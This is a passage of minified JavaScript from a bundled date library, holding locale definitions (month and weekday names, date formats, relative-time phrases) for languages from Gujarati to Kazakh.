t={1:"૧",2:"૨",3:"૩",4:"૪",5:"૫",6:"૬",7:"૭",8:"૮",9:"૯",0:"૦"},i={"૧":"1","૨":"2","૩":"3","૪":"4","૫":"5","૬":"6","૭":"7","૮":"8","૯":"9","૦":"0"};e.defineLocale("gu",{months:"જાન્યુઆરી_ફેબ્રુઆરી_માર્ચ_એપ્રિલ_મે_જૂન_જુલાઈ_ઑગસ્ટ_સપ્ટેમ્બર_ઑક્ટ્બર_નવેમ્બર_ડિસેમ્બર".split("_"),monthsShort:"જાન્યુ._ફેબ્રુ._માર્ચ_એપ્રિ._મે_જૂન_જુલા._ઑગ._સપ્ટે._ઑક્ટ્._નવે._ડિસે.".split("_"),monthsParseExact:!0,weekdays:"રવિવાર_સોમવાર_મંગળવાર_બુધ્વાર_ગુરુવાર_શુક્રવાર_શનિવાર".split("_"),weekdaysShort:"રવિ_સોમ_મંગળ_બુધ્_ગુરુ_શુક્ર_શનિ".split("_"),weekdaysMin:"ર_સો_મં_બુ_ગુ_શુ_શ".split("_"),longDateFormat:{LT:"A h:mm વાગ્યે",LTS:"A h:mm:ss વાગ્યે",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm વાગ્યે",LLLL:"dddd, D MMMM YYYY, A h:mm વાગ્યે"},calendar:{sameDay:"[આજ] LT",nextDay:"[કાલે] LT",nextWeek:"dddd, LT",lastDay:"[ગઇકાલે] LT",lastWeek:"[પાછલા] dddd, LT",sameElse:"L"},relativeTime:{future:"%s મા",past:"%s પહેલા",s:"અમુક પળો",ss:"%d સેકંડ",m:"એક મિનિટ",mm:"%d મિનિટ",h:"એક કલાક",hh:"%d કલાક",d:"એક દિવસ",dd:"%d દિવસ",M:"એક મહિનો",MM:"%d મહિનો",y:"એક વર્ષ",yy:"%d વર્ષ"},preparse:function(e){return e.replace(/[૧૨૩૪૫૬૭૮૯૦]/g,(function(e){return i[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/રાત|બપોર|સવાર|સાંજ/,meridiemHour:function(e,t){return 12===e&&(e=0),"રાત"===t?e<4?e:e+12:"સવાર"===t?e:"બપોર"===t?e>=10?e:e+12:"સાંજ"===t?e+12:void 0},meridiem:function(e,t,i){return e<4?"રાત":e<10?"સવાર":e<17?"બપોર":e<20?"સાંજ":"રાત"},week:{dow:0,doy:6}})}(i(30381))},24206:function(e,t,i){!function(e){"use strict";e.defineLocale("he",{months:"ינואר_פברואר_מרץ_אפריל_מאי_יוני_יולי_אוגוסט_ספטמבר_אוקטובר_נובמבר_דצמבר".split("_"),monthsShort:"ינו׳_פבר׳_מרץ_אפר׳_מאי_יוני_יולי_אוג׳_ספט׳_אוק׳_נוב׳_דצמ׳".split("_"),weekdays:"ראשון_שני_שלישי_רביעי_חמישי_שישי_שבת".split("_"),weekdaysShort:"א׳_ב׳_ג׳_ד׳_ה׳_ו׳_ש׳".split("_"),weekdaysMin:"א_ב_ג_ד_ה_ו_ש".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [ב]MMMM YYYY",LLL:"D [ב]MMMM YYYY HH:mm",LLLL:"dddd, D [ב]MMMM YYYY HH:mm",l:"D/M/YYYY",ll:"D MMM YYYY",lll:"D MMM YYYY HH:mm",llll:"ddd, D MMM YYYY HH:mm"},calendar:{sameDay:"[היום ב־]LT",nextDay:"[מחר ב־]LT",nextWeek:"dddd [בשעה] LT",lastDay:"[אתמול ב־]LT",lastWeek:"[ביום] dddd [האחרון בשעה] LT",sameElse:"L"},relativeTime:{future:"בעוד %s",past:"לפני %s",s:"מספר שניות",ss:"%d שניות",m:"דקה",mm:"%d דקות",h:"שעה",hh:function(e){return 2===e?"שעתיים":e+" שעות"},d:"יום",dd:function(e){return 2===e?"יומיים":e+" ימים"},M:"חודש",MM:function(e){return 2===e?"חודשיים":e+" חודשים"},y:"שנה",yy:function(e){return 2===e?"שנתיים":e%10==0&&10!==e?e+" שנה":e+" שנים"}},meridiemParse:/אחה"צ|לפנה"צ|אחרי הצהריים|לפני הצהריים|לפנות בוקר|בבוקר|בערב/i,isPM:function(e){return/^(אחה"צ|אחרי הצהריים|בערב)$/.test(e)},meridiem:function(e,t,i){return e<5?"לפנות בוקר":e<10?"בבוקר":e<12?i?'לפנה"צ':"לפני הצהריים":e<18?i?'אחה"צ':"אחרי הצהריים":"בערב"}})}(i(30381))},30094:function(e,t,i){!function(e){"use strict";var t={1:"१",2:"२",3:"३",4:"४",5:"५",6:"६",7:"७",8:"८",9:"९",0:"०"},i={"१":"1","२":"2","३":"3","४":"4","५":"5","६":"6","७":"7","८":"8","९":"9","०":"0"},n=[/^जन/i,/^फ़र|फर/i,/^मार्च/i,/^अप्रै/i,/^मई/i,/^जून/i,/^जुल/i,/^अग/i,/^सितं|सित/i,/^अक्टू/i,/^नव|नवं/i,/^दिसं|दिस/i];e.defineLocale("hi",{months:{format:"जनवरी_फ़रवरी_मार्च_अप्रैल_मई_जून_जुलाई_अगस्त_सितम्बर_अक्टूबर_नवम्बर_दिसम्बर".split("_"),standalone:"जनवरी_फरवरी_मार्च_अप्रैल_मई_जून_जुलाई_अगस्त_सितंबर_अक्टूबर_नवंबर_दिसंबर".split("_")},monthsShort:"जन._फ़र._मार्च_अप्रै._मई_जून_जुल._अग._सित._अक्टू._नव._दिस.".split("_"),weekdays:"रविवार_सोमवार_मंगलवार_बुधवार_गुरूवार_शुक्रवार_शनिवार".split("_"),weekdaysShort:"रवि_सोम_मंगल_बुध_गुरू_शुक्र_शनि".split("_"),weekdaysMin:"र_सो_मं_बु_गु_शु_श".split("_"),longDateFormat:{LT:"A h:mm बजे",LTS:"A h:mm:ss बजे",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm बजे",LLLL:"dddd, D MMMM YYYY, A h:mm बजे"},monthsParse:n,longMonthsParse:n,shortMonthsParse:[/^जन/i,/^फ़र/i,/^मार्च/i,/^अप्रै/i,/^मई/i,/^जून/i,/^जुल/i,/^अग/i,/^सित/i,/^अक्टू/i,/^नव/i,/^दिस/i],monthsRegex:/^(जनवरी|जन\.?|फ़रवरी|फरवरी|फ़र\.?|मार्च?|अप्रैल|अप्रै\.?|मई?|जून?|जुलाई|जुल\.?|अगस्त|अग\.?|सितम्बर|सितंबर|सित\.?|अक्टूबर|अक्टू\.?|नवम्बर|नवंबर|नव\.?|दिसम्बर|दिसंबर|दिस\.?)/i,monthsShortRegex:/^(जनवरी|जन\.?|फ़रवरी|फरवरी|फ़र\.?|मार्च?|अप्रैल|अप्रै\.?|मई?|जून?|जुलाई|जुल\.?|अगस्त|अग\.?|सितम्बर|सितंबर|सित\.?|अक्टूबर|अक्टू\.?|नवम्बर|नवंबर|नव\.?|दिसम्बर|दिसंबर|दिस\.?)/i,monthsStrictRegex:/^(जनवरी?|फ़रवरी|फरवरी?|मार्च?|अप्रैल?|मई?|जून?|जुलाई?|अगस्त?|सितम्बर|सितंबर|सित?\.?|अक्टूबर|अक्टू\.?|नवम्बर|नवंबर?|दिसम्बर|दिसंबर?)/i,monthsShortStrictRegex:/^(जन\.?|फ़र\.?|मार्च?|अप्रै\.?|मई?|जून?|जुल\.?|अग\.?|सित\.?|अक्टू\.?|नव\.?|दिस\.?)/i,calendar:{sameDay:"[आज] LT",nextDay:"[कल] LT",nextWeek:"dddd, LT",lastDay:"[कल] LT",lastWeek:"[पिछले] dddd, LT",sameElse:"L"},relativeTime:{future:"%s में",past:"%s पहले",s:"कुछ ही क्षण",ss:"%d सेकंड",m:"एक मिनट",mm:"%d मिनट",h:"एक घंटा",hh:"%d घंटे",d:"एक दिन",dd:"%d दिन",M:"एक महीने",MM:"%d महीने",y:"एक वर्ष",yy:"%d वर्ष"},preparse:function(e){return e.replace(/[१२३४५६७८९०]/g,(function(e){return i[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/रात|सुबह|दोपहर|शाम/,meridiemHour:function(e,t){return 12===e&&(e=0),"रात"===t?e<4?e:e+12:"सुबह"===t?e:"दोपहर"===t?e>=10?e:e+12:"शाम"===t?e+12:void 0},meridiem:function(e,t,i){return e<4?"रात":e<10?"सुबह":e<17?"दोपहर":e<20?"शाम":"रात"},week:{dow:0,doy:6}})}(i(30381))},30316:function(e,t,i){!function(e){"use strict";function t(e,t,i){var n=e+" ";switch(i){case"ss":return n+(1===e?"sekunda":2===e||3===e||4===e?"sekunde":"sekundi");case"m":return t?"jedna minuta":"jedne minute";case"mm":return n+(1===e?"minuta":2===e||3===e||4===e?"minute":"minuta");case"h":return t?"jedan sat":"jednog sata";case"hh":return n+(1===e?"sat":2===e||3===e||4===e?"sata":"sati");case"dd":return n+(1===e?"dan":"dana");case"MM":return n+(1===e?"mjesec":2===e||3===e||4===e?"mjeseca":"mjeseci");case"yy":return n+(1===e?"godina":2===e||3===e||4===e?"godine":"godina")}}e.defineLocale("hr",{months:{format:"siječnja_veljače_ožujka_travnja_svibnja_lipnja_srpnja_kolovoza_rujna_listopada_studenoga_prosinca".split("_"),standalone:"siječanj_veljača_ožujak_travanj_svibanj_lipanj_srpanj_kolovoz_rujan_listopad_studeni_prosinac".split("_")},monthsShort:"sij._velj._ožu._tra._svi._lip._srp._kol._ruj._lis._stu._pro.".split("_"),monthsParseExact:!0,weekdays:"nedjelja_ponedjeljak_utorak_srijeda_četvrtak_petak_subota".split("_"),weekdaysShort:"ned._pon._uto._sri._čet._pet._sub.".split("_"),weekdaysMin:"ne_po_ut_sr_če_pe_su".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"Do MMMM YYYY",LLL:"Do MMMM YYYY H:mm",LLLL:"dddd, Do MMMM YYYY H:mm"},calendar:{sameDay:"[danas u] LT",nextDay:"[sutra u] LT",nextWeek:function(){switch(this.day()){case 0:return"[u] [nedjelju] [u] LT";case 3:return"[u] [srijedu] [u] LT";case 6:return"[u] [subotu] [u] LT";case 1:case 2:case 4:case 5:return"[u] dddd [u] LT"}},lastDay:"[jučer u] LT",lastWeek:function(){switch(this.day()){case 0:return"[prošlu] [nedjelju] [u] LT";case 3:return"[prošlu] [srijedu] [u] LT";case 6:return"[prošle] [subote] [u] LT";case 1:case 2:case 4:case 5:return"[prošli] dddd [u] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"prije %s",s:"par sekundi",ss:t,m:t,mm:t,h:t,hh:t,d:"dan",dd:t,M:"mjesec",MM:t,y:"godinu",yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(i(30381))},22138:function(e,t,i){!function(e){"use strict";var t="vasárnap hétfőn kedden szerdán csütörtökön pénteken szombaton".split(" ");function i(e,t,i,n){var r=e;switch(i){case"s":return n||t?"néhány másodperc":"néhány másodperce";case"ss":return r+(n||t)?" másodperc":" másodperce";case"m":return"egy"+(n||t?" perc":" perce");case"mm":return r+(n||t?" perc":" perce");case"h":return"egy"+(n||t?" óra":" órája");case"hh":return r+(n||t?" óra":" órája");case"d":return"egy"+(n||t?" nap":" napja");case"dd":return r+(n||t?" nap":" napja");case"M":return"egy"+(n||t?" hónap":" hónapja");case"MM":return r+(n||t?" hónap":" hónapja");case"y":return"egy"+(n||t?" év":" éve");case"yy":return r+(n||t?" év":" éve")}return""}function n(e){return(e?"":"[múlt] ")+"["+t[this.day()]+"] LT[-kor]"}e.defineLocale("hu",{months:"január_február_március_április_május_június_július_augusztus_szeptember_október_november_december".split("_"),monthsShort:"jan._feb._márc._ápr._máj._jún._júl._aug._szept._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"vasárnap_hétfő_kedd_szerda_csütörtök_péntek_szombat".split("_"),weekdaysShort:"vas_hét_kedd_sze_csüt_pén_szo".split("_"),weekdaysMin:"v_h_k_sze_cs_p_szo".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"YYYY.MM.DD.",LL:"YYYY. MMMM D.",LLL:"YYYY. MMMM D. H:mm",LLLL:"YYYY. MMMM D., dddd H:mm"},meridiemParse:/de|du/i,isPM:function(e){return"u"===e.charAt(1).toLowerCase()},meridiem:function(e,t,i){return e<12?!0===i?"de":"DE":!0===i?"du":"DU"},calendar:{sameDay:"[ma] LT[-kor]",nextDay:"[holnap] LT[-kor]",nextWeek:function(){return n.call(this,!0)},lastDay:"[tegnap] LT[-kor]",lastWeek:function(){return n.call(this,!1)},sameElse:"L"},relativeTime:{future:"%s múlva",past:"%s",s:i,ss:i,m:i,mm:i,h:i,hh:i,d:i,dd:i,M:i,MM:i,y:i,yy:i},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(i(30381))},11423:function(e,t,i){!function(e){"use strict";e.defineLocale("hy-am",{months:{format:"հունվարի_փետրվարի_մարտի_ապրիլի_մայիսի_հունիսի_հուլիսի_օգոստոսի_սեպտեմբերի_հոկտեմբերի_նոյեմբերի_դեկտեմբերի".split("_"),standalone:"հունվար_փետրվար_մարտ_ապրիլ_մայիս_հունիս_հուլիս_օգոստոս_սեպտեմբեր_հոկտեմբեր_նոյեմբեր_դեկտեմբեր".split("_")},monthsShort:"հնվ_փտր_մրտ_ապր_մյս_հնս_հլս_օգս_սպտ_հկտ_նմբ_դկտ".split("_"),weekdays:"կիրակի_երկուշաբթի_երեքշաբթի_չորեքշաբթի_հինգշաբթի_ուրբաթ_շաբաթ".split("_"),weekdaysShort:"կրկ_երկ_երք_չրք_հնգ_ուրբ_շբթ".split("_"),weekdaysMin:"կրկ_երկ_երք_չրք_հնգ_ուրբ_շբթ".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY թ.",LLL:"D MMMM YYYY թ., HH:mm",LLLL:"dddd, D MMMM YYYY թ., HH:mm"},calendar:{sameDay:"[այսօր] LT",nextDay:"[վաղը] LT",lastDay:"[երեկ] LT",nextWeek:function(){return"dddd [օրը ժամը] LT"},lastWeek:function(){return"[անցած] dddd [օրը ժամը] LT"},sameElse:"L"},relativeTime:{future:"%s հետո",past:"%s առաջ",s:"մի քանի վայրկյան",ss:"%d վայրկյան",m:"րոպե",mm:"%d րոպե",h:"ժամ",hh:"%d ժամ",d:"օր",dd:"%d օր",M:"ամիս",MM:"%d ամիս",y:"տարի",yy:"%d տարի"},meridiemParse:/գիշերվա|առավոտվա|ցերեկվա|երեկոյան/,isPM:function(e){return/^(ցերեկվա|երեկոյան)$/.test(e)},meridiem:function(e){return e<4?"գիշերվա":e<12?"առավոտվա":e<17?"ցերեկվա":"երեկոյան"},dayOfMonthOrdinalParse:/\d{1,2}|\d{1,2}-(ին|րդ)/,ordinal:function(e,t){switch(t){case"DDD":case"w":case"W":case"DDDo":return 1===e?e+"-ին":e+"-րդ";default:return e}},week:{dow:1,doy:7}})}(i(30381))},29218:function(e,t,i){!function(e){"use strict";e.defineLocale("id",{months:"Januari_Februari_Maret_April_Mei_Juni_Juli_Agustus_September_Oktober_November_Desember".split("_"),monthsShort:"Jan_Feb_Mar_Apr_Mei_Jun_Jul_Agt_Sep_Okt_Nov_Des".split("_"),weekdays:"Minggu_Senin_Selasa_Rabu_Kamis_Jumat_Sabtu".split("_"),weekdaysShort:"Min_Sen_Sel_Rab_Kam_Jum_Sab".split("_"),weekdaysMin:"Mg_Sn_Sl_Rb_Km_Jm_Sb".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [pukul] HH.mm",LLLL:"dddd, D MMMM YYYY [pukul] HH.mm"},meridiemParse:/pagi|siang|sore|malam/,meridiemHour:function(e,t){return 12===e&&(e=0),"pagi"===t?e:"siang"===t?e>=11?e:e+12:"sore"===t||"malam"===t?e+12:void 0},meridiem:function(e,t,i){return e<11?"pagi":e<15?"siang":e<19?"sore":"malam"},calendar:{sameDay:"[Hari ini pukul] LT",nextDay:"[Besok pukul] LT",nextWeek:"dddd [pukul] LT",lastDay:"[Kemarin pukul] LT",lastWeek:"dddd [lalu pukul] LT",sameElse:"L"},relativeTime:{future:"dalam %s",past:"%s yang lalu",s:"beberapa detik",ss:"%d detik",m:"semenit",mm:"%d menit",h:"sejam",hh:"%d jam",d:"sehari",dd:"%d hari",M:"sebulan",MM:"%d bulan",y:"setahun",yy:"%d tahun"},week:{dow:0,doy:6}})}(i(30381))},90135:function(e,t,i){!function(e){"use strict";function t(e){return e%100==11||e%10!=1}function i(e,i,n,r){var s=e+" ";switch(n){case"s":return i||r?"nokkrar sekúndur":"nokkrum sekúndum";case"ss":return t(e)?s+(i||r?"sekúndur":"sekúndum"):s+"sekúnda";case"m":return i?"mínúta":"mínútu";case"mm":return t(e)?s+(i||r?"mínútur":"mínútum"):i?s+"mínúta":s+"mínútu";case"hh":return t(e)?s+(i||r?"klukkustundir":"klukkustundum"):s+"klukkustund";case"d":return i?"dagur":r?"dag":"degi";case"dd":return t(e)?i?s+"dagar":s+(r?"daga":"dögum"):i?s+"dagur":s+(r?"dag":"degi");case"M":return i?"mánuður":r?"mánuð":"mánuði";case"MM":return t(e)?i?s+"mánuðir":s+(r?"mánuði":"mánuðum"):i?s+"mánuður":s+(r?"mánuð":"mánuði");case"y":return i||r?"ár":"ári";case"yy":return t(e)?s+(i||r?"ár":"árum"):s+(i||r?"ár":"ári")}}e.defineLocale("is",{months:"janúar_febrúar_mars_apríl_maí_júní_júlí_ágúst_september_október_nóvember_desember".split("_"),monthsShort:"jan_feb_mar_apr_maí_jún_júl_ágú_sep_okt_nóv_des".split("_"),weekdays:"sunnudagur_mánudagur_þriðjudagur_miðvikudagur_fimmtudagur_föstudagur_laugardagur".split("_"),weekdaysShort:"sun_mán_þri_mið_fim_fös_lau".split("_"),weekdaysMin:"Su_Má_Þr_Mi_Fi_Fö_La".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY [kl.] H:mm",LLLL:"dddd, D. MMMM YYYY [kl.] H:mm"},calendar:{sameDay:"[í dag kl.] LT",nextDay:"[á morgun kl.] LT",nextWeek:"dddd [kl.] LT",lastDay:"[í gær kl.] LT",lastWeek:"[síðasta] dddd [kl.] LT",sameElse:"L"},relativeTime:{future:"eftir %s",past:"fyrir %s síðan",s:i,ss:i,m:i,mm:i,h:"klukkustund",hh:i,d:i,dd:i,M:i,MM:i,y:i,yy:i},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(i(30381))},10150:function(e,t,i){!function(e){"use strict";e.defineLocale("it-ch",{months:"gennaio_febbraio_marzo_aprile_maggio_giugno_luglio_agosto_settembre_ottobre_novembre_dicembre".split("_"),monthsShort:"gen_feb_mar_apr_mag_giu_lug_ago_set_ott_nov_dic".split("_"),weekdays:"domenica_lunedì_martedì_mercoledì_giovedì_venerdì_sabato".split("_"),weekdaysShort:"dom_lun_mar_mer_gio_ven_sab".split("_"),weekdaysMin:"do_lu_ma_me_gi_ve_sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Oggi alle] LT",nextDay:"[Domani alle] LT",nextWeek:"dddd [alle] LT",lastDay:"[Ieri alle] LT",lastWeek:function(){return 0===this.day()?"[la scorsa] dddd [alle] LT":"[lo scorso] dddd [alle] LT"},sameElse:"L"},relativeTime:{future:function(e){return(/^[0-9].+$/.test(e)?"tra":"in")+" "+e},past:"%s fa",s:"alcuni secondi",ss:"%d secondi",m:"un minuto",mm:"%d minuti",h:"un'ora",hh:"%d ore",d:"un giorno",dd:"%d giorni",M:"un mese",MM:"%d mesi",y:"un anno",yy:"%d anni"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(i(30381))},90626:function(e,t,i){!function(e){"use strict";e.defineLocale("it",{months:"gennaio_febbraio_marzo_aprile_maggio_giugno_luglio_agosto_settembre_ottobre_novembre_dicembre".split("_"),monthsShort:"gen_feb_mar_apr_mag_giu_lug_ago_set_ott_nov_dic".split("_"),weekdays:"domenica_lunedì_martedì_mercoledì_giovedì_venerdì_sabato".split("_"),weekdaysShort:"dom_lun_mar_mer_gio_ven_sab".split("_"),weekdaysMin:"do_lu_ma_me_gi_ve_sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:function(){return"[Oggi a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},nextDay:function(){return"[Domani a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},nextWeek:function(){return"dddd [a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},lastDay:function(){return"[Ieri a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},lastWeek:function(){return 0===this.day()?"[La scorsa] dddd [a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT":"[Lo scorso] dddd [a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},sameElse:"L"},relativeTime:{future:"tra %s",past:"%s fa",s:"alcuni secondi",ss:"%d secondi",m:"un minuto",mm:"%d minuti",h:"un'ora",hh:"%d ore",d:"un giorno",dd:"%d giorni",w:"una settimana",ww:"%d settimane",M:"un mese",MM:"%d mesi",y:"un anno",yy:"%d anni"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(i(30381))},39183:function(e,t,i){!function(e){"use strict";e.defineLocale("ja",{eras:[{since:"2019-05-01",offset:1,name:"令和",narrow:"㋿",abbr:"R"},{since:"1989-01-08",until:"2019-04-30",offset:1,name:"平成",narrow:"㍻",abbr:"H"},{since:"1926-12-25",until:"1989-01-07",offset:1,name:"昭和",narrow:"㍼",abbr:"S"},{since:"1912-07-30",until:"1926-12-24",offset:1,name:"大正",narrow:"㍽",abbr:"T"},{since:"1873-01-01",until:"1912-07-29",offset:6,name:"明治",narrow:"㍾",abbr:"M"},{since:"0001-01-01",until:"1873-12-31",offset:1,name:"西暦",narrow:"AD",abbr:"AD"},{since:"0000-12-31",until:-1/0,offset:1,name:"紀元前",narrow:"BC",abbr:"BC"}],eraYearOrdinalRegex:/(元|\d+)年/,eraYearOrdinalParse:function(e,t){return"元"===t[1]?1:parseInt(t[1]||e,10)},months:"1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月".split("_"),monthsShort:"1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月".split("_"),weekdays:"日曜日_月曜日_火曜日_水曜日_木曜日_金曜日_土曜日".split("_"),weekdaysShort:"日_月_火_水_木_金_土".split("_"),weekdaysMin:"日_月_火_水_木_金_土".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY/MM/DD",LL:"YYYY年M月D日",LLL:"YYYY年M月D日 HH:mm",LLLL:"YYYY年M月D日 dddd HH:mm",l:"YYYY/MM/DD",ll:"YYYY年M月D日",lll:"YYYY年M月D日 HH:mm",llll:"YYYY年M月D日(ddd) HH:mm"},meridiemParse:/午前|午後/i,isPM:function(e){return"午後"===e},meridiem:function(e,t,i){return e<12?"午前":"午後"},calendar:{sameDay:"[今日] LT",nextDay:"[明日] LT",nextWeek:function(e){return e.week()!==this.week()?"[来週]dddd LT":"dddd LT"},lastDay:"[昨日] LT",lastWeek:function(e){return this.week()!==e.week()?"[先週]dddd LT":"dddd LT"},sameElse:"L"},dayOfMonthOrdinalParse:/\d{1,2}日/,ordinal:function(e,t){switch(t){case"y":return 1===e?"元年":e+"年";case"d":case"D":case"DDD":return e+"日";default:return e}},relativeTime:{future:"%s後",past:"%s前",s:"数秒",ss:"%d秒",m:"1分",mm:"%d分",h:"1時間",hh:"%d時間",d:"1日",dd:"%d日",M:"1ヶ月",MM:"%dヶ月",y:"1年",yy:"%d年"}})}(i(30381))},24286:function(e,t,i){!function(e){"use strict";e.defineLocale("jv",{months:"Januari_Februari_Maret_April_Mei_Juni_Juli_Agustus_September_Oktober_Nopember_Desember".split("_"),monthsShort:"Jan_Feb_Mar_Apr_Mei_Jun_Jul_Ags_Sep_Okt_Nop_Des".split("_"),weekdays:"Minggu_Senen_Seloso_Rebu_Kemis_Jemuwah_Septu".split("_"),weekdaysShort:"Min_Sen_Sel_Reb_Kem_Jem_Sep".split("_"),weekdaysMin:"Mg_Sn_Sl_Rb_Km_Jm_Sp".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [pukul] HH.mm",LLLL:"dddd, D MMMM YYYY [pukul] HH.mm"},meridiemParse:/enjing|siyang|sonten|ndalu/,meridiemHour:function(e,t){return 12===e&&(e=0),"enjing"===t?e:"siyang"===t?e>=11?e:e+12:"sonten"===t||"ndalu"===t?e+12:void 0},meridiem:function(e,t,i){return e<11?"enjing":e<15?"siyang":e<19?"sonten":"ndalu"},calendar:{sameDay:"[Dinten puniko pukul] LT",nextDay:"[Mbenjang pukul] LT",nextWeek:"dddd [pukul] LT",lastDay:"[Kala wingi pukul] LT",lastWeek:"dddd [kepengker pukul] LT",sameElse:"L"},relativeTime:{future:"wonten ing %s",past:"%s ingkang kepengker",s:"sawetawis detik",ss:"%d detik",m:"setunggal menit",mm:"%d menit",h:"setunggal jam",hh:"%d jam",d:"sedinten",dd:"%d dinten",M:"sewulan",MM:"%d wulan",y:"setaun",yy:"%d taun"},week:{dow:1,doy:7}})}(i(30381))},12105:function(e,t,i){!function(e){"use strict";e.defineLocale("ka",{months:"იანვარი_თებერვალი_მარტი_აპრილი_მაისი_ივნისი_ივლისი_აგვისტო_სექტემბერი_ოქტომბერი_ნოემბერი_დეკემბერი".split("_"),monthsShort:"იან_თებ_მარ_აპრ_მაი_ივნ_ივლ_აგვ_სექ_ოქტ_ნოე_დეკ".split("_"),weekdays:{standalone:"კვირა_ორშაბათი_სამშაბათი_ოთხშაბათი_ხუთშაბათი_პარასკევი_შაბათი".split("_"),format:"კვირას_ორშაბათს_სამშაბათს_ოთხშაბათს_ხუთშაბათს_პარასკევს_შაბათს".split("_"),isFormat:/(წინა|შემდეგ)/},weekdaysShort:"კვი_ორშ_სამ_ოთხ_ხუთ_პარ_შაბ".split("_"),weekdaysMin:"კვ_ორ_სა_ოთ_ხუ_პა_შა".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[დღეს] LT[-ზე]",nextDay:"[ხვალ] LT[-ზე]",lastDay:"[გუშინ] LT[-ზე]",nextWeek:"[შემდეგ] dddd LT[-ზე]",lastWeek:"[წინა] dddd LT-ზე",sameElse:"L"},relativeTime:{future:function(e){return e.replace(/(წამ|წუთ|საათ|წელ|დღ|თვ)(ი|ე)/,(function(e,t,i){return"ი"===i?t+"ში":t+i+"ში"}))},past:function(e){return/(წამი|წუთი|საათი|დღე|თვე)/.test(e)?e.replace(/(ი|ე)$/,"ის წინ"):/წელი/.test(e)?e.replace(/წელი$/,"წლის წინ"):e},s:"რამდენიმე წამი",ss:"%d წამი",m:"წუთი",mm:"%d წუთი",h:"საათი",hh:"%d საათი",d:"დღე",dd:"%d დღე",M:"თვე",MM:"%d თვე",y:"წელი",yy:"%d წელი"},dayOfMonthOrdinalParse:/0|1-ლი|მე-\d{1,2}|\d{1,2}-ე/,ordinal:function(e){return 0===e?e:1===e?e+"-ლი":e<20||e<=100&&e%20==0||e%100==0?"მე-"+e:e+"-ე"},week:{dow:1,doy:7}})}(i(30381))},47772:function(e,t,i){!function(e){"use strict";var t={0:"-ші",1:"-ші",2:"-ші",3:"-ші",4:"-ші",5:"-ші",6:"-шы",7:"-ші",8:"-ші",9:"-шы",10:"-шы",20:"-шы",30:"-шы",40:"-шы",50:"-ші",60:"-шы",70:"-ші",80:"-ші",90:"-шы",100:"-ші"};e.defineLocale("kk",{months:"қаңтар_ақпан_наурыз_сәуір_мамыр_маусым_шілде_тамыз_қыркүйек_қазан_қараша_желтоқсан".split("_"),monthsShort:"қаң_ақп_нау_сәу_мам_мау_шіл_там_қыр_қаз_қар_жел".split("_"),weekdays:"жексенбі_дүйсенбі_сейсенбі_сәрсенбі_бейсенбі_жұма_сенбі".split("_"),weekdaysShort:"жек_дүй_сей_сәр_бей_жұм_сен".split("_"),weekdaysMin:"жк_дй_сй_ср_бй_жм_сн".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Бүгін сағат] LT",nextDay:"[Ертең сағат] LT",nextWeek:"dddd [сағат] LT",lastDay:"[Кеше сағат] LT",lastWeek:"[Өткен аптаның] dddd [сағат] LT",sameElse:"L"},relativeTime:{future:"%s ішінде",past:"%s бұрын",s:"бірнеше секунд",ss:"%d секунд",m:"бір минут",mm:"%d минут",h:"бір сағат",hh:"%d сағат",d:"бір күн",dd:"%d күн",M:"бір ай",MM:"%d ай",y:"бір 